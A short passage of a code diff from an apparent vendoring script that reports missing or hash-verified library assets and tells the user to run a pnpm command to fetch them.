+ console.error(`\nvendor-libs: ${missing} vendored asset(s) not in place. Run: pnpm vendor:libs`);
138
+ console.error('Until then those /lib/ paths answer 404 and any app relying on them falls back to a CDN or fails.');
139
+ process.exit(1);
140
+ }
141
+ console.log(`vendor-libs: ${assets.length} vendored asset(s) present and hash-verified.`);
142
+ } else if (fetched > 0) {
143
+ console.log(`vendor-libs: fetched ${fetched} asset(s).`);
144
+ }